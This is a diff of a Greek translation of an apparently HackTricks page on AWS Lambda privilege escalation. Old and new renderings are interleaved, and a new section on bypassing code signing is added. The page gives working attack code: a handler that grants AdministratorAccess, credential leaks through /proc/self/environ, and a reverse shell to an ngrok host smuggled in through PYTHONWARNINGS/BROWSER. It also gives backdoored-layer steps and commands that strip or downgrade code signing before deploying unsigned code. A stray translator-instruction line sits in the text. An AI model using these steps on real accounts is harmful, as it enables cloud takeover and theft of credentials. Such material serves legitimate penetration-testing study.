**καταχραστείτε τις άδειες ρόλου lambda** από τη λειτουργία lambda ίδια.\ -Εάν ο ρόλος lambda είχε αρκετές άδειες, θα μπορούσατε να τον χρησιμοποιήσετε για να σας παραχωρήσει δικαιώματα διαχειριστή: +Μπορείτε επίσης να **abuse the lambda role permissions** από την ίδια τη lambda function.\ +Αν ο lambda role είχε αρκετά permissions, θα μπορούσατε να το χρησιμοποιήσετε για να χορηγήσετε admin rights σε εσάς: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Είναι επίσης δυνατό να διαρρεύσουν τα διαπιστευτήρια ρόλου της lambda χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Εάν υπάρχουν άγνωστες ομάδες ασφαλείας που φιλτράρουν τα reverse shells σας, αυτό το κομμάτι κώδικα θα σας επιτρέψει να διαρρεύσετε απευθείας τα διαπιστευτήρια ως έξοδο της lambda. +Επίσης είναι δυνατόν να leak τα διαπιστευτήρια ρόλου του lambda χωρίς να απαιτείται εξωτερική σύνδεση. Αυτό είναι χρήσιμο για **Network isolated Lambdas** που χρησιμοποιούνται σε εσωτερικές εργασίες. Αν υπάρχουν άγνωστα security groups που φιλτράρουν τα reverse shells σας, αυτό το κομμάτι κώδικα θα σας επιτρέψει να leak απευθείας τα διαπιστευτήρια ως έξοδο του lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,34 +72,34 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Πιθανές Επιπτώσεις:** Άμεση εκχώρηση δικαιωμάτων στην αυθαίρετη ρόλο υπηρεσίας lambda που καθορίζεται. +**Potential Impact:** Άμεσο privesc στο καθορισμένο αυθαίρετο role υπηρεσίας lambda. > [!CAUTION] -> Σημειώστε ότι ακόμη και αν φαίνεται ενδιαφέρον **`lambda:InvokeAsync`** **δεν** επιτρέπει από μόνο του να **εκτελέσετε `aws lambda invoke-async`**, χρειάζεστε επίσης `lambda:InvokeFunction` +> Σημειώστε ότι ακόμα κι αν φαίνεται ενδιαφέρον η **`lambda:InvokeAsync`** **ΔΕΝ** επιτρέπει από μόνη της να **εκτελέσετε `aws lambda invoke-async`**, χρειάζεστε επίσης `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Όπως στο προηγούμενο σενάριο, μπορείτε να **παραχωρήσετε στον εαυτό σας την άδεια `lambda:InvokeFunction`** αν έχετε την άδεια **`lambda:AddPermission`** +Όπως στο προηγούμενο σενάριο, μπορείτε να **χορηγήσετε στον εαυτό σας την άδεια `lambda:InvokeFunction`** αν έχετε την άδεια **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση των δικαιωμάτων στην αυθαίρετη υπηρεσία ρόλου lambda που καθορίζεται. +**Πιθανός Αντίκτυπος:** Άμεση privesc στο αυθαίρετο lambda service role που ορίστηκε. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:CreateEventSourceMapping`** δικαιώματα (και πιθανώς `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **αναβαθμίσουν τα δικαιώματα** ακόμη και χωρίς `lambda:InvokeFunction`.\ -Μπορούν να δημιουργήσουν μια **λειτουργία Lambda με κακόβουλο κώδικα και να της αναθέσουν έναν υπάρχοντα ρόλο IAM**. +Χρήστες με **`iam:PassRole`, `lambda:CreateFunction`, και `lambda:CreateEventSourceMapping`** δικαιώματα (και ενδεχομένως `dynamodb:PutItem` και `dynamodb:CreateTable`) μπορούν έμμεσα να **escalate privileges** ακόμα και χωρίς `lambda:InvokeFunction`.\ +Μπορούν να δημιουργήσουν μια **Lambda function με κακόβουλο κώδικα και να της αναθέσουν ένα υπάρχον IAM role**. -Αντί να καλέσουν άμεσα τη Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με τη Lambda μέσω ενός χάρτη πηγής γεγονότος. Αυτή η ρύθμιση διασφαλίζει ότι η λειτουργία Lambda **ενεργοποιείται αυτόματα με την είσοδο ενός νέου στοιχείου** στον πίνακα, είτε από την ενέργεια του χρήστη είτε από μια άλλη διαδικασία, ενεργοποιώντας έτσι έμμεσα τη λειτουργία Lambda και εκτελώντας τον κώδικα με τα δικαιώματα του περασμένου ρόλου IAM. +Αντί να καλεί απευθείας το Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με το Lambda μέσω ενός event source mapping. Αυτή η ρύθμιση διασφαλίζει ότι η Lambda function **θα ενεργοποιηθεί αυτόματα κατά την καταχώρηση ενός νέου αντικειμένου** στον πίνακα, είτε από ενέργεια του χρήστη είτε από άλλη διαδικασία, καλώντας έτσι έμμεσα τη Lambda function και εκτελώντας τον κώδικα με τα δικαιώματα του περασμένου IAM role. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -Αν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης μόνο **χρειάζεται να καθορίσει την αντιστοίχιση πηγής γεγονότων** για τη λειτουργία Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει **να δημιουργήσει έναν νέο πίνακα** με ενεργοποιημένο το streaming: +Εάν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης απλώς **πρέπει να δημιουργήσει το event source mapping** για τη συνάρτηση Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει **να δημιουργήσει έναν νέο πίνακα** με streaming ενεργοποιημένο: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -Τώρα είναι δυνατόν **να συνδέσετε τη λειτουργία Lambda με τον πίνακα DynamoDB** δημιουργώντας **μια αντιστοίχιση πηγής γεγονότων**: +Τώρα μπορείτε να **συνδέσετε τη λειτουργία Lambda με τον πίνακα DynamoDB** δημιουργώντας **ένα event source mapping**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -Με τη λειτουργία Lambda συνδεδεμένη με το ρεύμα DynamoDB, ο επιτιθέμενος μπορεί **έμμεσα να ενεργοποιήσει τη Lambda ενεργοποιώντας το ρεύμα DynamoDB**. Αυτό μπορεί να επιτευχθεί με **την εισαγωγή ενός στοιχείου** στον πίνακα DynamoDB: +Με τη λειτουργία Lambda συνδεδεμένη με το DynamoDB stream, ο επιτιθέμενος μπορεί **να προκαλέσει έμμεσα τη Lambda ενεργοποιώντας το DynamoDB stream**. Αυτό μπορεί να επιτευχθεί με **την εισαγωγή ενός αντικειμένου** στον πίνακα DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων στην υπηρεσία lambda που έχει καθοριστεί. +**Πιθανός αντίκτυπος:** Άμεσο privesc στον καθορισμένο ρόλο υπηρεσίας lambda. ### `lambda:AddPermission` -Ένας επιτιθέμενος με αυτή την άδεια μπορεί να **παρέχει στον εαυτό του (ή σε άλλους) οποιαδήποτε δικαιώματα** (αυτό δημιουργεί πολιτικές βάσει πόρων για να παραχωρήσει πρόσβαση στον πόρο): +Ένας attacker με αυτό το permission μπορεί να **grant himself (or others) any permissions** (αυτό δημιουργεί resource based policies για να παραχωρήσει πρόσβαση στον πόρο): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -130,23 +130,23 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων στην υπηρεσία lambda ρόλου που χρησιμοποιείται δίνοντας άδεια να τροποποιήσει τον κώδικα και να τον εκτελέσει. +**Πιθανός αντίκτυπος:** Άμεσο privesc στον lambda service role μέσω της χορήγησης άδειας για τροποποίηση και εκτέλεση του κώδικα. ### `lambda:AddLayerVersionPermission` -Ένας επιτιθέμενος με αυτή την άδεια μπορεί **να παραχωρήσει στον εαυτό του (ή σε άλλους) την άδεια `lambda:GetLayerVersion`**. Θα μπορούσε να έχει πρόσβαση στο layer και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες. +Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **χορηγήσει στον εαυτό του (ή σε άλλους) την άδεια `lambda:GetLayerVersion`**. Μπορεί να έχει πρόσβαση στο layer και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` -**Πιθανές Επιπτώσεις:** Πιθανή πρόσβαση σε ευαίσθητες πληροφορίες. +**Potential Impact:** Δυνατότητα πρόσβασης σε ευαίσθητες πληροφορίες. ### `lambda:UpdateFunctionCode` -Οι χρήστες που κατέχουν την **`lambda:UpdateFunctionCode`** άδεια έχουν την πιθανότητα να **τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda λειτουργίας που είναι συνδεδεμένη με έναν ρόλο IAM.**\ -Ο επιτιθέμενος μπορεί να **τροποποιήσει τον κώδικα της lambda για να εξάγει τα διαπιστευτήρια IAM**. +Οι χρήστες που κατέχουν την άδεια **`lambda:UpdateFunctionCode`** έχουν τη δυνατότητα να **τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda function που είναι συνδεδεμένη με έναν IAM role.**\ +Ο επιτιθέμενος μπορεί να **τροποποιήσει τον κώδικα του lambda ώστε να exfiltrate τα IAM credentials**. -Αν και ο επιτιθέμενος μπορεί να μην έχει την άμεση ικανότητα να καλέσει τη λειτουργία, αν η Lambda λειτουργία είναι προϋπάρχουσα και λειτουργική, είναι πιθανό να ενεργοποιηθεί μέσω υπαρχουσών ροών εργασίας ή γεγονότων, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα. +Αν και ο επιτιθέμενος μπορεί να μην έχει την άμεση δυνατότητα να καλέσει τη Lambda function, αν η Lambda function υπάρχει ήδη και είναι σε λειτουργία, είναι πιθανό να ενεργοποιηθεί μέσω υπαρχουσών ροών εργασίας ή γεγονότων, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` -**Πιθανές Επιπτώσεις:** Άμεσο privesc στον ρόλο υπηρεσίας lambda που χρησιμοποιείται. +**Potential Impact:** Άμεση privesc στον lambda service role που χρησιμοποιείται. ### `lambda:UpdateFunctionConfiguration` -#### RCE μέσω μεταβλητών περιβάλλοντος +#### RCE μέσω env variables -Με αυτές τις άδειες είναι δυνατόν να προστεθούν μεταβλητές περιβάλλοντος που θα προκαλέσουν την εκτέλεση αυθαίρετου κώδικα από το Lambda. Για παράδειγμα, στην python είναι δυνατόν να καταχραστούμε τις μεταβλητές περιβάλλοντος `PYTHONWARNING` και `BROWSER` για να κάνουμε μια διαδικασία python να εκτελεί αυθαίρετες εντολές: +Με αυτά τα permissions είναι δυνατό να προστεθούν environment variables που θα προκαλέσουν το Lambda να εκτελέσει arbitrary code. Για παράδειγμα, σε python είναι δυνατό να κακοποιήσετε τις environment variables `PYTHONWARNING` και `BROWSER` ώστε μια διεργασία python να εκτελέσει arbitrary commands: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -Για άλλες γλώσσες scripting υπάρχουν άλλες μεταβλητές περιβάλλοντος που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες ελέγξτε τις υποενότητες των γλωσσών scripting στο: +Για άλλες γλώσσες scripting υπάρχουν άλλες env variables που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες ελέγξτε τις υποενότητες των γλωσσών scripting στο: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html @@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc #### RCE μέσω Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει να συμπεριλάβετε **κώδικα** στη λειτουργία σας lamdba αλλά **να τον αποθηκεύσετε ξεχωριστά**, έτσι ώστε ο κώδικας της λειτουργίας να παραμένει μικρός και **πολλές λειτουργίες να μπορούν να μοιράζονται κώδικα**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) επιτρέπει να συμπεριλάβετε **code** στη συνάρτηση Lambda σας αλλά **αποθηκεύοντάς το ξεχωριστά**, έτσι ο κώδικας της συνάρτησης μπορεί να παραμείνει μικρός και **αρκετές συναρτήσεις μπορούν να μοιραστούν code**. -Μέσα στη lambda μπορείτε να ελέγξετε τις διαδρομές από όπου φορτώνεται ο κώδικας python με μια συνάρτηση όπως η εξής: +Μέσα σε Lambda μπορείτε να ελέγξετε τις διαδρομές από τις οποίες φορτώνεται python code με μια συνάρτηση όπως η παρακάτω: ```python import json import sys @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -Αυτά είναι τα μέρη: +These are the places: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -198,20 +198,20 @@ print(json.dumps(sys.path, indent=2)) 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -Για παράδειγμα, η βιβλιοθήκη boto3 φορτώνεται από το `/var/runtime/boto3` (4η θέση). +For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). #### Εκμετάλλευση -Είναι δυνατόν να καταχραστεί η άδεια `lambda:UpdateFunctionConfiguration` για να **προσθέσετε μια νέα στρώση** σε μια συνάρτηση lambda. Για να εκτελέσετε αυθαίρετο κώδικα, αυτή η στρώση πρέπει να περιέχει κάποια **βιβλιοθήκη που η lambda πρόκειται να εισάγει.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, θα μπορούσατε να το βρείτε εύκολα, σημειώστε επίσης ότι μπορεί να είναι δυνατόν η lambda να **χρησιμοποιεί ήδη μια στρώση** και θα μπορούσατε να **κατεβάσετε** τη στρώση και να **προσθέσετε τον κώδικά σας** εκεί. +Είναι δυνατό να γίνει κατάχρηση της άδειας `lambda:UpdateFunctionConfiguration` για να **προσθέσετε ένα νέο layer** σε μια lambda function. Για να εκτελεστεί αυθαίρετος κώδικας, αυτό το layer πρέπει να περιέχει κάποια **βιβλιοθήκη την οποία η lambda θα εισάγει.** Αν μπορείτε να διαβάσετε τον κώδικα της lambda, θα το βρείτε εύκολα. Σημειώστε επίσης ότι ίσως η lambda **χρησιμοποιεί ήδη ένα layer** και να μπορείτε να **κατεβάσετε** το layer και να **προσθέσετε εκεί τον κώδικά σας**. -Για παράδειγμα, ας υποθέσουμε ότι η lambda χρησιμοποιεί τη βιβλιοθήκη boto3, αυτό θα δημιουργήσει μια τοπική στρώση με την τελευταία έκδοση της βιβλιοθήκης: +For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: ```bash pip3 install -t ./lambda_layer boto3 ``` -Μπορείτε να ανοίξετε `./lambda_layer/boto3/__init__.py` και **να προσθέσετε την πίσω πόρτα στον παγκόσμιο κώδικα** (μια συνάρτηση για να εξάγετε διαπιστευτήρια ή να αποκτήσετε ένα reverse shell για παράδειγμα). +Μπορείτε να ανοίξετε το `./lambda_layer/boto3/__init__.py` και **να προσθέσετε το backdoor στον global κώδικα** (π.χ. μια συνάρτηση για exfiltrate credentials ή για να αποκτήσετε ένα reverse shell). -Στη συνέχεια, συμπιέστε αυτόν τον φάκελο `./lambda_layer` και **ανεβάστε τη νέα lambda layer** στον δικό σας λογαριασμό (ή στον λογαριασμό των θυμάτων, αλλά μπορεί να μην έχετε άδειες για αυτό).\ -Σημειώστε ότι πρέπει να δημιουργήσετε έναν φάκελο python και να βάλετε τις βιβλιοθήκες εκεί για να αντικαταστήσετε το /opt/python/boto3. Επίσης, η layer πρέπει να είναι **συμβατή με την έκδοση python** που χρησιμοποιείται από τη lambda και αν την ανεβάσετε στον λογαριασμό σας, πρέπει να είναι στην **ίδια περιοχή:** +Στη συνέχεια, συμπιέστε τον κατάλογο `./lambda_layer` και **ανεβάστε το νέο lambda layer** στον δικό σας λογαριασμό (ή σε αυτόν του θύματος, αλλά μπορεί να μην έχετε τα απαραίτητα δικαιώματα).\ +Σημειώστε ότι πρέπει να δημιουργήσετε έναν φάκελο python και να τοποθετήσετε εκεί τις βιβλιοθήκες για να αντικαταστήσετε το /opt/python/boto3. Επίσης, το layer πρέπει να είναι **συμβατό με την έκδοση python** που χρησιμοποιεί το lambda και, αν το ανεβάσετε στον λογαριασμό σας, πρέπει να βρίσκεται στην **ίδια region:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` @@ -221,30 +221,30 @@ aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -Και επισυνάψτε το lambda layer στη λειτουργία lambda του θύματος: +Και επισυνάψτε το lambda layer στην victim lambda function: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Το επόμενο βήμα θα ήταν είτε να **καλέσουμε τη λειτουργία** εμείς οι ίδιοι αν μπορούμε είτε να περιμένουμε μέχρι να **καλεστεί** με κανονικά μέσα - που είναι η ασφαλέστερη μέθοδος. +Το επόμενο βήμα θα ήταν είτε να **εκτελέσουμε τη function** εμείς αν μπορούμε είτε να περιμένουμε μέχρι να **εκτελεστεί** με κανονικά μέσα — που είναι η ασφαλέστερη μέθοδος. -Μια **πιο διακριτική μέθοδος για να εκμεταλλευτούμε αυτή την ευπάθεια** μπορεί να βρεθεί στο: +Ένας **πιο διακριτικός τρόπος εκμετάλλευσης αυτής της ευπάθειας** μπορεί να βρεθεί στο: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Πιθανές Επιπτώσεις:** Άμεσο privesc στο ρόλο υπηρεσίας lambda που χρησιμοποιείται. +**Πιθανός αντίκτυπος:** Άμεσο privesc στον ρόλο υπηρεσίας της lambda που χρησιμοποιείται. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Ίσως με αυτές τις άδειες να είστε σε θέση να δημιουργήσετε μια λειτουργία και να την εκτελέσετε καλώντας το URL... αλλά δεν μπόρεσα να βρω έναν τρόπο να το δοκιμάσω, οπότε ενημερώστε με αν το κάνετε! +Ίσως με αυτά τα δικαιώματα να μπορείς να δημιουργήσεις μια function και να την εκτελέσεις καλώντας το URL... αλλά δεν μπόρεσα να βρω τρόπο να το δοκιμάσω, πές μου αν το κάνεις! ### Lambda MitM -Ορισμένα lambdas θα **λαμβάνουν ευαίσθητες πληροφορίες από τους χρήστες ως παραμέτρους.** Αν αποκτήσετε RCE σε ένα από αυτά, μπορείτε να εξάγετε τις πληροφορίες που στέλνουν άλλοι χρήστες σε αυτό, ελέγξτε το στο: +Μερικές lambdas θα **λαμβάνουν ευαίσθητες πληροφορίες από τους χρήστες στις παραμέτρους.** Αν πετύχεις RCE σε μία από αυτές, μπορείς να exfiltrate τις πληροφορίες που στέλνουν άλλοι χρήστες σε αυτή — δες το στο: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -256,3 +256,62 @@ aws lambda update-function-configuration \ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} + + + + +### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Παράκαμψη Lambda Code Signing + +Αν μια Lambda function επιβάλλει code signing, ένας επιτιθέμενος που μπορεί είτε να αφαιρέσει το Code Signing Config (CSC) είτε να το υποβαθμίσει σε `WARN` μπορεί να αναπτύξει μη υπογεγραμμένο κώδικα στη function. Αυτό παρακάμπτει τις προστασίες ακεραιότητας χωρίς να τροποποιεί τον IAM ρόλο της function ή τα triggers. + +Permissions (ένα από): +- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` +- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` + +Σημειώσεις: +- Για το Path B, δεν χρειάζεσαι προφίλ AWS Signer αν η πολιτική CSC είναι ρυθμισμένη σε `WARN` (επιτρέπονται μη υπογεγραμμένα artifacts). + +Βήματα (REGION=us-east-1, TARGET_FN=): + +Ετοίμασε ένα μικρό payload: +```bash +cat > handler.py <<'PY' +import os, json +def lambda_handler(event, context): +return {"pwn": True, "env": list(os.environ)[:6]} +PY +zip backdoor.zip handler.py +``` +Διαδρομή A) Αφαίρεση CSC και μετά ενημέρωση του code: +```bash +aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 +if [ "$HAS_CSC" -eq 1 ]; then +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION +fi +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Διαδρομή B) Υποβάθμιση σε Warn και ενημέρωση του κώδικα (αν η διαγραφή δεν επιτρέπεται): +```bash +CSC_ARN=$(aws lambda create-code-signing-config \ +--description ht-warn-csc \ +--code-signing-policies UntrustedArtifactOnDeployment=WARN \ +--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) +aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION +aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION +# If the handler name changed, also run: +aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION +``` +Verified. Θα μεταφράζω το σχετικό αγγλικό κείμενο στα Ελληνικά διατηρώντας άθικτο κώδικα, ονόματα υπηρεσιών (π.χ. aws, GCP), τεχνικούς όρους hacking, links, paths, tags και refs, χωρίς να προσθέσω επιπλέον περιεχόμενο. +```bash +aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null +cat /tmp/out.json +``` +Πιθανός αντίκτυπος: Δυνατότητα να ανεβάσετε και να εκτελέσετε αυθαίρετο μη υπογεγραμμένο κώδικα σε μια συνάρτηση που υποτίθεται ότι επιβάλλει signed deployments, ενδεχομένως οδηγώντας σε εκτέλεση κώδικα με τα δικαιώματα του ρόλου της συνάρτησης. + +Καθαρισμός: +```bash +aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true +``` +